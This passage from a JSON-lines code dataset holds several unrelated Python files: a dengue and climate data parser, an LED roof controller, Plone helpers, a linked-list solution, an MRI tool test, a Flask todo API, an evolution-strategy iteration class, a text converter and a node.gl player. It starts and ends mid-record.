tmp[mindex:(maxdex+1)]\n # c_to_append = [r[1] for r in tmp]\n # data += c_to_append\n data2 = load_data()\n dhaka = data2['Dhaka']\n dhaka = {k:dhaka[k] for k in dhaka if k > 1999 and k < 2016}\n for k in dhaka:\n for m in dhaka[k]:\n print(k)\n print(m)\n dhaka[k][m]['humidity'] = np.average(dhaka[k][m]['humidity'])\n dhaka[k][m]['avg_temp'] = np.average(dhaka[k][m]['avg_temp'])\n dhaka[k][m]['rainfall'] = np.sum(dhaka[k][m]['rainfall'])\n if 'max_temp' in dhaka[k][m]:\n del(dhaka[k][m]['max_temp'])\n if 'min_temp' in dhaka[k][m]:\n del(dhaka[k][m]['min_temp'])\n for c in cases:\n if int(c[1]) < 2016:\n dhaka[int(c[1])][int(c[2])]['cases'] = int(c[3])\n dhaka[int(c[1])][int(c[2])]['deaths'] = int(c[4])\n save_data(dhaka, 'monthly_data.pkl')\n exit()\n if not args.full_list:\n file_name = args.data_dir + args.file_name\n data = read_csv(file_name)\n data_dict = parse_stations_daily_float(data, args.data_type)\n for region in sorted(data_dict.keys()):\n print(region)\n print(\"Num regions : %d\" % len(data_dict.keys()))\n make_basic_chart(data_dict, 'Dhaka', 'temperature')\n else:\n file_list = { 'AverageHumidity_1953to2015.csv': 'humidity',\n 'AverageRainfall_1953to2015.csv': 'rainfall',\n 'AverageTemperature_1953to2015.csv': 'avg_temp',\n 'MaximumTemperature_1953to2014.csv': 'max_temp',\n 'MaximumTemperature2015.csv': 'max_temp',\n 'MinimumTemperature_1953to2014.csv': 'min_temp',\n 'seaLevelPressure_1953to2014.csv': 'sea_level_pressure'}\n file_list = {(args.data_dir + f): v for f, v in file_list.items()}\n data_dict = {}\n for f, v in file_list.items():\n print('##########################################')\n print(f,v)\n data = read_csv(f)\n data_dict = parse_stations_daily_float(data, v ,data_dict)\n print(\"Finished %s\" % v)\n print('##########################################')\n # print(data_dict[\"Cox's Bazar\"])\n # combined_station_single_type(data_dict, 'avg_temp')\n case_file = args.data_dir + 'Dengue_Dhaka_average_monthly_case_death_2000-2016_processed.csv'\n case_data = read_csv(case_file)\n data_dict = parse_total_cases(case_data, data_dict)\n #make_basic_chart(data_dict, 'Dhaka', 'cases')\n save_data(data_dict)\n tabular = symdt_to_tymds(data_dict)\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='parse the json file')\n parser.add_argument('-d', '--data_dir', type=str, default='/home/jonesc48/dataviz/Dengue_Fever/Data/')\n parser.add_argument('-f', '--file_name', type=str, default='AverageTemperature_1953to2015.csv')\n parser.add_argument('-t', '--data_type', type=str, default='temperature')\n parser.add_argument('-F', '--full_list', action='store_true',\n help='Parse every csv into a single structure')\n parser.add_argument('-c', '--case_data', action='store_true',\n help='Whether or not youre adding in case data')\n args = parser.parse_args()\n main(args)\n","sub_path":"scripts/make_timeline.py","file_name":"make_timeline.py","file_ext":"py","file_size_in_byte":12016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"81031718","text":"import math\nimport random\nimport socket\nimport struct\nimport sys\nimport time\n\nimport asyncio\nimport rainbow\n\n\n_CMD_ALL_COLOR = 0\n_CMD_STRIP_COLOR = 1\n_CMD_STRIP_PIXEL = 2\n_CMD_ALL_PIXEL = 2\n\n_CONTROLLER_DELAY = 0.015\n\n\nclass Controller:\n def __init__(self, ip, port):\n self._ip = ip\n self._port = port\n self._last = 0\n self._sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n self._q = []\n\n async def _wait(self):\n while True:\n dt = time.monotonic() - self._last\n if dt > _CONTROLLER_DELAY:\n break\n await asyncio.sleep(_CONTROLLER_DELAY - dt)\n self._last = time.monotonic()\n\n async def _send(self, buf):\n async def task():\n await self._wait()\n # print(self._ip, time.monotonic()-ttt)\n self._sock.sendto(buf, (self._ip, self._port))\n\n self._q.append(asyncio.create_task(task()))\n\n async def flush(self):\n await asyncio.gather(*self._q)\n self._q = []\n\n async def color(self, r, g, b, w=0):\n await self._send(b'roof' + struct.pack('BBBBB', _CMD_ALL_COLOR, r, g, b, w))\n\nclass Beam:\n def __init__(self, ctrl, idx, n):\n self._ctrl = ctrl\n self._idx = idx\n self._n = n\n\n async def color(self, r, g, b, w=0):\n await self._ctrl._send(b'roof' + struct.pack('BBBBBB', _CMD_STRIP_COLOR, self._idx, r, g, b, w))\n\n async def pixel(self, buf):\n # g r b w\n await self._ctrl._send(b'roof' + struct.pack('BB', _CMD_STRIP_PIXEL, self._idx) + buf)\n\n async def gradient(self, r, g, b, w=0):\n buf = bytearray()\n for i in range(self._n):\n buf += bytes((i*g//self._n,i*r//self._n,i*b//self._n,i*w//self._n))\n await self.pixel(buf)\n\n async def rainbow(self, offset=0):\n buf = bytearray()\n for i in range(self._n):\n r, g, b = rainbow.rainbow(offset + i * 2400 // self._n)\n buf += bytes((g, r, b, 0))\n await self.pixel(buf)\n\n\nCONTROLLERS = [\n Controller('192.168.1.165', 6454),\n Controller('192.168.1.201', 6454),\n Controller('192.168.1.192', 6454),\n Controller('192.168.1.203', 6454),\n]\n\n\nBEAMS = [\n Beam(CONTROLLERS[0], 0, 180),\n Beam(CONTROLLERS[0], 1, 180),\n Beam(CONTROLLERS[0], 2, 180),\n Beam(CONTROLLERS[1], 0, 180),\n Beam(CONTROLLERS[1], 1, 180),\n Beam(CONTROLLERS[2], 0, 233),\n Beam(CONTROLLERS[2], 1, 233),\n Beam(CONTROLLERS[3], 0, 233),\n Beam(CONTROLLERS[3], 1, 233),\n]\n\n\nclass Frame:\n def __init__(self, w, h):\n self._buf = bytearray(w*h*4)\n self._mv = memoryview(self._buf)\n self._w = w\n self._h = h\n\n def clear(self):\n for i in range(len(self._buf)):\n self._buf[i] = 0\n\n def fill(self, r, g, b, w=0):\n for i in range(0, len(self._buf), 4):\n self._buf[i] = g\n self._buf[i+1] = r\n self._buf[i+2] = b\n self._buf[i+3] = w\n\n def rect(self, x, y, w, h, r, g, b, ww=0):\n for xx in range(x, x+w):\n for yy in range(y, y+h):\n p = yy*self._w*4+xx*4\n self._buf[p] = g\n self._buf[p+1] = r\n self._buf[p+2] = b\n self._buf[p+3] = ww\n\n async def write(self):\n for i, s in enumerate(BEAMS):\n await s.pixel(self._mv[i*self._w*4:i*self._w*4+s._n*4])\n for c in CONTROLLERS:\n await c.flush()\n\n def pixel(self, x, y, r, g, b, w=0):\n p = y * self._w * 4 + x * 4\n self._buf[p] = g\n self._buf[p+1] = r\n self._buf[p+2] = b\n self._buf[p+3] = w\n\n\nasync def flush():\n for c in CONTROLLERS:\n await c.flush()\n\n\nasync def color(r,g,b,w=0):\n for c in CONTROLLERS:\n await c.color(r,g,b,w)\n await flush()\n\n\nasync def flash(r,g,b,w=0):\n await color(r,g,b,w)\n await color(0,0,0,0)\n\n\nasync def main():\n if len(sys.argv) < 2:\n return\n if sys.argv[1] == 'color':\n await color(*(int(x) for x in sys.argv[2:]))\n elif sys.argv[1] == 'rainbow':\n\n f = Frame(233, 9)\n i = 0\n while True:\n fx = 1+(1*math.cos(i/91)*math.cos(i/79))\n fy = 1+(1*math.sin(i/83)*math.sin(i/101))\n tt = i / 10\n for y in range(9):\n for x in range(233):\n xx = x / 233\n yy = y / 9\n p1 = int(1200 * (math.sin(fy*math.pi*yy)+math.cos(fx*math.pi*xx) + 1))\n r,g,b = rainbow.rainbow(p1+i)\n f.pixel(x, y, r,g,b,0)\n await f.write()\n i += 0.1\n\n\nif __name__ == '__main__':\n asyncio.run(main())\n","sub_path":"roof.py","file_name":"roof.py","file_ext":"py","file_size_in_byte":4686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"261668443","text":"from zope.component import adapter\nfrom plone.app.theming.interfaces import IThemeAppliedEvent\nimport os\nfrom zope.component.hooks import getSite\n\n\nRESOURCE_DEVELOPMENT_MODE = False\nif os.getenv('FEDEV', '').lower() == 'true':\n RESOURCE_DEVELOPMENT_MODE = True\n\n\n@adapter(IThemeAppliedEvent)\ndef onThemeApplied(event):\n # change current theme on the _v_ variable\n theme = event.theme\n portal = getSite()\n portal._v_currentTheme = theme\n\n\ndef add_resource_on_request(request, resource):\n \"\"\" Adds the resource to the request\n \"\"\"\n if hasattr(request, 'enabled_resources'):\n if isinstance(resource, str):\n request.enabled_resources.append(resource)\n else:\n request.enabled_resources = [resource]\n\n\ndef add_bundle_on_request(request, bundle):\n \"\"\" Adds the bundle to the request\n \"\"\"\n if hasattr(request, 'enabled_bundles'):\n if isinstance(bundle, str):\n request.enabled_bundles.append(bundle)\n else:\n request.enabled_bundles = [bundle]\n\n\ndef remove_bundle_on_request(request, bundle):\n \"\"\" Removes the bundle to the request\n \"\"\"\n if hasattr(request, 'disabled_bundles'):\n if isinstance(bundle, str):\n request.disabled_bundles.append(bundle)\n else:\n request.disabled_bundles = [bundle]\n","sub_path":"buildout-cache--/eggs/Products.CMFPlone-5.0b2-py2.7.egg/Products/CMFPlone/resources/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"583175105","text":"# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution(object):\n def __init__( self ):\n self.head = self.tail = self.next = None\n\n def reverseKGroup(self, head, k):\n \"\"\"\n :type head: ListNode\n :type k: int\n :rtype: ListNode\n \"\"\"\n if k == 1:\n return head\n\n dummy = ListNode( float( 'nan' ) )\n self.head = head\n self.tail = dummy\n\n def reverse( p, n ):\n if p is None:\n self.tail.next = self.head\n self.head = None\n return None\n elif n == 1:\n self.tail.next = p\n self.tail = self.newTail\n self.head = p.next\n p.next = None\n return p\n else:\n q = reverse( p.next, n - 1 )\n if q is None:\n return q\n else:\n q.next = p\n p.next = None\n return p\n\n while self.head:\n self.newTail = self.head\n reverse( self.head, k )\n\n return dummy.next","sub_path":"25.py","file_name":"25.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"597445732","text":"#!/usr/bin/env python\n#########################################################################################\n#\n# Test function sct_dmri_separate_b0_and_dwi\n#\n# ---------------------------------------------------------------------------------------\n# Copyright (c) 2014 Polytechnique Montreal <www.neuro.polymtl.ca>\n# Author: Augustin Roux\n# modified: 2014/10/09\n#\n# About the license: see the file LICENSE.TXT\n#########################################################################################\n\n#import sct_utils as sct\nimport commands\n\ndef test(data_path):\n\n # parameters\n folder_data = 'dmri/'\n file_data = ['dmri.nii.gz', 'bvecs.txt', 'dwi.nii.gz']\n\n output = ''\n status = 0\n\n # define command\n cmd = 'sct_dmri_separate_b0_and_dwi -i ' + data_path + folder_data + file_data[0] \\\n + ' -b ' + data_path + folder_data + file_data[1]\\\n + ' -a 1'\\\n + ' -ofolder ./'\\\n + ' -v 1'\\\n + ' -r 0'\n # return\n #return sct.run(cmd, 0)\n output += '\\n====================================================================================================\\n'+cmd+'\\n====================================================================================================\\n\\n' # copy command\n s, o = commands.getstatusoutput(cmd)\n status += s\n output += o\n\n if status == 0:\n from msct_image import Image\n from numpy import sum\n threshold = 1e-3\n ref_dwi = Image(data_path+folder_data+file_data[2])\n new_dwi = Image('dwi.nii.gz')\n diff_dwi = ref_dwi.data-new_dwi.data\n if sum(diff_dwi) > threshold:\n status = 99\n output += '\\nResulting DWI image differs from gold-standard.\\n'\n\n ref_b0 = Image(data_path+folder_data+'dmri_T0000.nii.gz')\n new_b0 = Image('b0.nii.gz')\n diff_b0 = ref_b0.data - new_b0.data\n if sum(diff_b0) > threshold:\n status = 99\n output = '\\nResulting b0 image differs from gold-standard.\\n'\n\n return status, output\n\nif __name__ == \"__main__\":\n # call main function\n test()","sub_path":"testing/test_sct_dmri_separate_b0_and_dwi.py","file_name":"test_sct_dmri_separate_b0_and_dwi.py","file_ext":"py","file_size_in_byte":2093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"482196204","text":"from flask import Blueprint, abort\nfrom flask_login import current_user, login_required\nfrom flask_restx import Api, Resource, apidoc, inputs, reqparse\n\nfrom models import Todo, TodoSchema, User, db\n\napi_blueprint = Blueprint(\"api\", __name__, url_prefix=\"/api\")\napi = Api(\n api_blueprint,\n title=\"Todo API\",\n description=\"Documentation for the Todo API\",\n doc=\"/doc/\",\n)\n\n\n@api.documentation\n@login_required\ndef api_documentation():\n return apidoc.ui_for(api)\n\n\n@api.route(\"/todos\")\nclass Todos(Resource):\n schema = TodoSchema()\n\n post_parser = reqparse.RequestParser(bundle_errors=True)\n post_parser.add_argument(\"todoTitle\", required=True, location=\"form\")\n post_parser.add_argument(\"todoContents\", location=\"form\")\n\n put_parser = post_parser.copy()\n put_parser.add_argument(\"todoId\", required=True, type=int, location=\"form\")\n\n patch_parser = reqparse.RequestParser(bundle_errors=True)\n patch_parser.add_argument(\n \"todoId\", required=True, type=int, location=\"form\"\n )\n patch_parser.add_argument(\n \"todoCompleted\", required=True, type=inputs.boolean, location=\"form\"\n )\n\n delete_parser = patch_parser.copy()\n delete_parser.remove_argument(\"todoCompleted\")\n\n @api.response(201, \"Created\")\n @api.response(401, \"Unauthorized\")\n def post(self):\n if not current_user.is_authenticated:\n abort(401)\n\n args = self.post_parser.parse_args()\n user = User.query.get(current_user.id)\n new_todo = Todo(title=args[\"todoTitle\"], contents=args[\"todoContents\"])\n user.todos.append(new_todo)\n db.session.add(new_todo)\n db.session.commit()\n return {\"status\": \"Success\"}, 201\n\n @api.response(200, \"OK\")\n @api.response(401, \"Unauthorized\")\n def get(self):\n if not current_user.is_authenticated:\n abort(401)\n\n return self.schema.dump(\n Todo.query.filter_by(user_id=current_user.id).all(), many=True\n )\n\n @api.response(200, \"OK\")\n @api.response(401, \"Unauthorized\")\n def put(self):\n if not current_user.is_authenticated:\n abort(401)\n\n args = self.put_parser.parse_args()\n todo = Todo.query.filter_by(\n id=args[\"todoId\"], user_id=current_user.id\n ).first()\n\n if todo is None:\n return {\"status\": \"Not found\"}\n\n todo.title = args[\"todoTitle\"]\n todo.contents = args[\"todoContents\"]\n db.session.commit()\n return {\"status\": \"Success\"}\n\n @api.expect(patch_parser)\n @api.response(200, \"OK\")\n @api.response(401, \"Unauthorized\")\n def patch(self):\n if not current_user.is_authenticated:\n abort(401)\n\n args = self.patch_parser.parse_args()\n todo = Todo.query.filter_by(\n id=args[\"todoId\"], user_id=current_user.id\n ).first()\n\n if todo is None:\n return {\"status\": \"Not found\"}\n\n todo.completed = args[\"todoCompleted\"]\n db.session.commit()\n return {\"status\": \"Success\"}\n\n @api.expect(delete_parser)\n @api.response(200, \"OK\")\n @api.response(401, \"Unauthorized\")\n def delete(self):\n if not current_user.is_authenticated:\n abort(401)\n\n args = self.delete_parser.parse_args()\n todo = Todo.query.filter_by(\n id=args[\"todoId\"], user_id=current_user.id\n ).first()\n\n if todo is None:\n return {\"status\": \"Not found\"}\n\n db.session.delete(todo)\n db.session.commit()\n return {\"status\": \"Success\"}\n","sub_path":"blueprints/api_blueprint.py","file_name":"api_blueprint.py","file_ext":"py","file_size_in_byte":3553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"202093684","text":"import logging\nimport os\n\nfrom abc import ABC\n\nfrom algorithm.policies import Policy\nfrom algorithm.tools.podium import Podium\nfrom algorithm.tools.utils import check_if_filepath_exists, Config, log\n\n\nclass Iteration(ABC):\n \"\"\"\n Abstract helper class for bookkeeping stuff of an iteration\n \"\"\"\n\n def __init__(self, config: Config, exp: dict):\n # ACROSS SOME ITERATIONS\n self._noise_stdev = config.noise_stdev\n self._batch_size = config.batch_size\n self._times_orig_bs = 1\n self._nb_samples_used = 0\n self._bad_generations = 0\n self._patience_reached = False\n self._epoch = 0\n self._iteration = 0\n\n # self._schedule = 0\n self._schedule_limit = config.schedule_limit\n self._schedule_start = config.schedule_start if config.schedule_start else 0\n self._schedule_reached = False\n\n # WITHIN ONE ITERATION\n self._nb_models_to_evaluate = 0\n self._task_results = []\n self._eval_results = {}\n self._worker_ids = []\n self._waiting_for_eval_run = False\n\n # ENTIRE EXPERIMENT\n self._stdev_divisor = config.stdev_divisor\n self._bs_multiplier = config.bs_multiplier\n self._patience = config.patience\n self._nb_offspring = exp['nb_offspring']\n\n self._log_dir = exp['log_dir']\n self._models_dir = os.path.join(self._log_dir, 'models')\n\n # the podium keeps track of the E elites (the E best individuals so far)\n self._podium = Podium(config.patience, os.path.join(self._models_dir, 'best'),\n num_elites=exp['num_elites'])\n\n def to_dict(self):\n return {\n 'iter': self._iteration,\n 'epoch': self._epoch,\n 'noise_stdev': self._noise_stdev,\n 'batch_size': self._batch_size,\n 'bad_generations': self._bad_generations,\n 'times_orig_bs': self._times_orig_bs,\n 'nb_samples_used': self._nb_samples_used,\n 'best_elites': self.best_elites(),\n }\n\n def init_from_infos(self, infos: dict):\n\n self._epoch = infos['epoch'] - 1 if 'epoch' in infos else self._epoch\n self._iteration = infos['iter'] - 1 if 'iter' in infos else self._iteration\n self._bad_generations = (\n infos['bad_generations'] if 'bad_generations' in infos else self._bad_generations\n )\n self._noise_stdev = infos['noise_stdev'] if 'noise_stdev' in infos else self._noise_stdev\n\n self._batch_size = infos['batch_size'] if 'batch_size' in infos else self._batch_size\n self._times_orig_bs = infos['times_orig_bs'] if 'times_orig_bs' in infos else self._times_orig_bs\n self._nb_samples_used = infos['nb_samples_used'] if 'nb_samples_used' in infos \\\n else self._nb_samples_used\n\n self._podium.init_from_infos(infos)\n\n def init_from_zero(self, exp, policy: Policy):\n raise NotImplementedError\n\n def init_from_single(self, param_file_name, exp, policy: Policy):\n raise NotImplementedError\n\n def log_stats(self):\n log('NoiseStd', self._noise_stdev)\n log('BatchSize', self._batch_size)\n log('NbSamplesUsed', self._nb_samples_used)\n\n if self._patience:\n log('BadGen', str(self._bad_generations) + '/' + str(self._patience))\n elif self._schedule_limit:\n if self._iteration <= self._schedule_start:\n part, full = self._iteration, self._schedule_start\n else:\n part = (self._iteration - self._schedule_start) % self._schedule_limit\n full = self._schedule_limit\n log('Schedule', str(part) + '/' + str(full))\n\n log('UniqueWorkers', len(self._worker_ids))\n log('UniqueWorkersFrac', len(self._worker_ids) / len(self._task_results))\n\n def patience_reached(self):\n return self._patience_reached\n\n def schedule_reached(self):\n return self._schedule_reached\n\n def record_task_result(self, result):\n self._task_results.append(result)\n self._nb_models_to_evaluate -= 1\n\n def record_eval_result(self, result):\n raise NotImplementedError\n\n def process_evaluated_elites(self):\n \"\"\"\n Process the so far in this iteration received results of elite candidate evaluations:\n hand them to the podium, and handle patience stuff\n :return:\n \"\"\"\n best_sc, best_ind = float('-inf'), None\n\n elite_candidates = []\n logging.info('Eval results: {}'.format(self._eval_results))\n for (ind, sc) in self._eval_results.values():\n if check_if_filepath_exists(ind):\n elite_candidates.append((ind, sc))\n if sc > best_sc:\n best_sc, best_ind = sc, ind\n\n self._podium.record_elites(elite_candidates)\n\n if self._patience and self._podium.is_bad_generation():\n self._bad_generations += 1\n\n if self._bad_generations > self._patience:\n\n logging.warning('Max patience reached; old std {}, bs: {}'.format(self._noise_stdev, self.batch_size()))\n self.next_curriculum_step()\n self._patience_reached = True\n self._bad_generations = 0\n logging.warning('Max patience reached; new std {}, bs: {}'.format(self._noise_stdev, self.batch_size()))\n\n else:\n self._bad_generations = 0\n return best_sc, best_ind\n\n def next_curriculum_step(self):\n # Anneal the noise std and batch size according to the factors in the experiment.json\n self._noise_stdev /= self._stdev_divisor\n self._batch_size = int(self._batch_size * self._bs_multiplier)\n self._times_orig_bs *= self._bs_multiplier\n\n def warn_waiting_for_evaluations(self):\n if not self.models_left_to_evolve() and self.models_left_to_eval():\n if not self._waiting_for_eval_run:\n logging.warning('Waiting for evaluations')\n self.set_waiting_for_elite_ev(True)\n\n def incr_bad_gens(self):\n self._bad_generations += 1\n\n def incr_epoch(self):\n self._epoch += 1\n\n def incr_iteration(self):\n self._task_results = []\n self._eval_results = {}\n self._worker_ids = []\n\n self.set_nb_models_to_evaluate(self._nb_offspring)\n self.set_waiting_for_elite_ev(False)\n self._patience_reached = False\n self._schedule_reached = False\n\n self._iteration += 1\n self._nb_samples_used += self._batch_size\n\n if self.check_schedule_limit():\n logging.warning('Next curriculum step reached; old std {}, bs: {}'\n .format(self._noise_stdev, self.batch_size()))\n self._schedule_reached = True\n self.next_curriculum_step()\n logging.warning('Next curriculum step reached; new std {}, bs: {}'\n .format(self._noise_stdev, self.batch_size()))\n\n def check_schedule_limit(self):\n return self._schedule_limit and \\\n self._iteration >= self._schedule_start and \\\n (self._iteration - self._schedule_start) % self._schedule_limit == 0\n\n def set_batch_size(self, value):\n self._batch_size = value\n\n def set_noise_stdev(self, value):\n self._noise_stdev = value\n\n def set_nb_models_to_evaluate(self, nb_models):\n self._nb_models_to_evaluate = nb_models\n\n def set_waiting_for_elite_ev(self, value):\n self._waiting_for_eval_run = value\n\n def record_worker_id(self, worker_id):\n self._worker_ids.append(worker_id)\n self._worker_ids = list(set(self._worker_ids))\n\n def models_left_to_evolve(self):\n return self._nb_models_to_evaluate > 0\n\n def models_left_to_eval(self):\n raise NotImplementedError\n\n def epoch(self):\n return self._epoch\n\n def noise_stdev(self):\n return self._noise_stdev\n\n def batch_size(self):\n return self._batch_size\n\n def times_orig_bs(self):\n return self._times_orig_bs\n\n def iteration(self):\n return self._iteration\n\n def nb_samples_used(self):\n return self._nb_samples_used\n\n def get_noise_stdev(self):\n return self._noise_stdev\n\n def eval_returns(self):\n return self._eval_results\n\n def task_results(self):\n return self._task_results\n\n def best_elites(self):\n return self._podium.best_elites()\n\n def best_elite(self):\n return self._podium.best_elites()[0][0]\n\n\nclass IterationFactory:\n @staticmethod\n def create(config, exp):\n if exp['algorithm'] == 'nic_es':\n from algorithm.nic_es.iteration import ESIteration\n return ESIteration(config, exp)\n elif exp['algorithm'] == 'nic_nes':\n from algorithm.nic_nes.iteration import NESIteration\n return NESIteration(config, exp)\n","sub_path":"src/algorithm/tools/iteration.py","file_name":"iteration.py","file_ext":"py","file_size_in_byte":8924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"336566334","text":"#Python script to un-camelcase input\n\nimport re\nimport sys\n\n\ndef convert(name):\n s1 = re.sub('(.)([A-Z][a-z]+)', r'\\1_\\2', name)\n return re.sub('([a-z0-9])([A-Z])', r'\\1_\\2', s1).lower()\n\nout_file = open('temp.txt', 'w')\n\nwith open(sys.argv[1], 'r') as f:\n\tout_file.write(convert(f.read()))\n\n","sub_path":"cs311/assn4/uncamel.py","file_name":"uncamel.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"245805010","text":"#!/usr/bin/env python\n#\n# Copyright 2018 GoPro Inc.\n#\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n#\n\nimport time\nfrom PySide2 import QtCore\n\nimport pynodegl as ngl\nfrom pynodegl_utils import misc\n\n\nclass Clock:\n\n TIMEBASE = 1000000000 # nanoseconds\n\n def __init__(self, framerate, duration):\n self._playback_index = 0\n self._running_time_offset = 0\n self._running = False\n self.configure(framerate, duration)\n\n def configure(self, framerate, duration):\n self._framerate = framerate\n self._duration = duration * self.TIMEBASE\n self.reset_running_time()\n\n def start(self):\n if self._running:\n return\n self.reset_running_time()\n self._running = True\n\n def stop(self):\n self._running = False\n\n def is_running(self):\n return self._running\n\n def reset_running_time(self):\n playback_time = self._playback_index * self.TIMEBASE * self._framerate[1] / self._framerate[0]\n self._running_time_offset = int(time.time() * self.TIMEBASE) - playback_time\n\n def get_playback_time_info(self):\n if not self._running:\n playback_time = self._playback_index * self._framerate[1] / float(self._framerate[0])\n return (self._playback_index, playback_time)\n\n playback_time = int(time.time() * self.TIMEBASE) - self._running_time_offset\n if playback_time < 0 or playback_time > self._duration:\n self._playback_index = 0\n self.reset_running_time()\n\n self._playback_index = int(round(\n playback_time * self._framerate[0] / float(self._framerate[1] * self.TIMEBASE)\n ))\n playback_time = self._playback_index * self._framerate[1] / float(self._framerate[0])\n\n return (self._playback_index, playback_time)\n\n def set_playback_time(self, time):\n self._playback_index = int(round(\n time * self._framerate[0] / self._framerate[1]\n ))\n self.reset_running_time()\n\n def step_playback_index(self, step):\n max_duration_index = int(round(\n self._duration * self._framerate[0] / float(self._framerate[1] * self.TIMEBASE)\n ))\n self._playback_index = min(max(self._playback_index + step, 0), max_duration_index)\n self.reset_running_time()\n\n\nclass Player(QtCore.QThread):\n\n onPlay = QtCore.Signal()\n onPause = QtCore.Signal()\n onSceneMetadata = QtCore.Signal(dict)\n onFrame = QtCore.Signal(int, float)\n\n def __init__(self, window, width, height, config):\n super().__init__()\n\n self._mutex = QtCore.QMutex()\n self._cond = QtCore.QWaitCondition()\n\n self._window = window\n self._width = width\n self._height = height\n\n self._scene = None\n self._framerate = config.get('framerate')\n self._duration = 0.0\n self._clear_color = config.get('clear_color')\n self._aspect_ratio = config.get('aspect_ratio')\n self._samples = config.get('samples')\n self._backend = config.get('backend')\n\n self._events = []\n self._wait_first_frame = True\n self._clock = Clock(self._framerate, self._duration)\n self._viewer = ngl.Context()\n self._configure_viewer()\n\n def _configure_viewer(self):\n self._viewer.configure(\n platform=ngl.PLATFORM_AUTO,\n backend=misc.get_backend(self._backend),\n window=self._window,\n width=self._width,\n height=self._height,\n viewport=misc.get_viewport(self._width, self._height, self._aspect_ratio),\n swap_interval=1,\n samples=self._samples,\n clear_color=self._clear_color,\n )\n\n def _render(self):\n frame_index, frame_time = self._clock.get_playback_time_info()\n with QtCore.QMutexLocker(self._mutex):\n self._viewer.draw(frame_time)\n if self._wait_first_frame:\n self._clock.reset_running_time()\n self._wait_first_frame = False\n self.onFrame.emit(frame_index, frame_time)\n\n def run(self):\n while True:\n self._render()\n should_stop = self._handle_events()\n if should_stop:\n break\n del self._viewer\n self._viewer = None\n\n def _handle_events(self):\n should_stop = False\n with QtCore.QMutexLocker(self._mutex):\n if not self._events and not self._clock.is_running():\n self._cond.wait(self._mutex)\n while self._events:\n event = self._events.pop(0)\n should_stop = event()\n if should_stop:\n break\n return should_stop\n\n def _push_event(self, event):\n with QtCore.QMutexLocker(self._mutex):\n self._events.append(event)\n self._cond.wakeAll()\n\n def draw(self):\n self._push_event(lambda: False)\n\n def play(self):\n self._push_event(lambda: self._play())\n\n def _play(self):\n if not self._scene:\n return False\n self._clock.start()\n self._wait_first_frame = True\n self.onPlay.emit()\n return False\n\n def pause(self):\n self._push_event(lambda: self._pause())\n\n def _pause(self):\n self._clock.stop()\n self.onPause.emit()\n return False\n\n def stop(self):\n self._push_event(lambda: self._stop())\n\n def _stop(self):\n return True\n\n def seek(self, time):\n self._push_event(lambda: self._seek(time))\n\n def _seek(self, time):\n self._clock.set_playback_time(time)\n self._wait_first_frame = True\n return False\n\n def step(self, step):\n self._push_event(lambda: self._step(step))\n\n def _step(self, step):\n self._clock.step_playback_index(step)\n self._clock.stop()\n self.onPause.emit()\n return False\n\n def resize(self, width, height):\n with QtCore.QMutexLocker(self._mutex):\n self._width = width\n self._height = height\n viewport = misc.get_viewport(width, height, self._aspect_ratio)\n self._viewer.resize(width, height, viewport)\n\n def set_scene(self, cfg):\n with QtCore.QMutexLocker(self._mutex):\n need_reconfigure = False\n self._scene = cfg['scene']\n self._framerate = cfg['framerate']\n self._duration = cfg['duration']\n self._aspect_ratio = cfg['aspect_ratio']\n if self._clear_color != cfg['clear_color']:\n self._clear_color = cfg['clear_color']\n need_reconfigure = True\n if self._samples != cfg['samples']:\n self._samples = cfg['samples']\n need_reconfigure = True\n if self._backend != cfg['backend']:\n self._backend = cfg['backend']\n need_reconfigure = True\n if need_reconfigure:\n self._viewer.set_scene(None)\n self._configure_viewer()\n else:\n viewport = misc.get_viewport(self._width, self._height, self._aspect_ratio)\n self._viewer.resize(self._width, self._height, viewport)\n self._push_event(lambda: self._set_scene())\n\n def _set_scene(self):\n self._viewer.set_scene_from_string(self._scene)\n self._clock.configure(self._framerate, self._duration)\n self.onSceneMetadata.emit({'framerate': self._framerate, 'duration': self._duration})\n return False\n\n def reset_scene(self):\n self._push_event(lambda: self._reset_scene())\n\n def _reset_scene(self):\n self._pause()\n self._scene = None\n self._viewer.set_scene(self._scene)\n return False\n","sub_path":"pynodegl-utils/pynodegl_utils/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":8470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"144613854","text":"from server.api.device import device_api\nfrom server.api.device.models.check import (\n UpdateRequestModel,\n UpdateResponseModel,\n HashRequestModel\n)\nfrom sanic.exceptions import abort\nfrom sanic.response import json as res_json\nfrom sanic_openapi import doc\nfrom bson import ObjectId\nimport time\n\n\n@device_api.post('/check/update')\n@doc.summary('Check update for device')\n@doc.consumes(\n UpdateRequestModel,\n content_type='application/json',\n location='body')\n@doc.produces(\n UpdateResponseModel,\n content_type='application/json',\n description='Successful')\n@doc.response(200, None, description='Success')\n@doc.response(404, None, 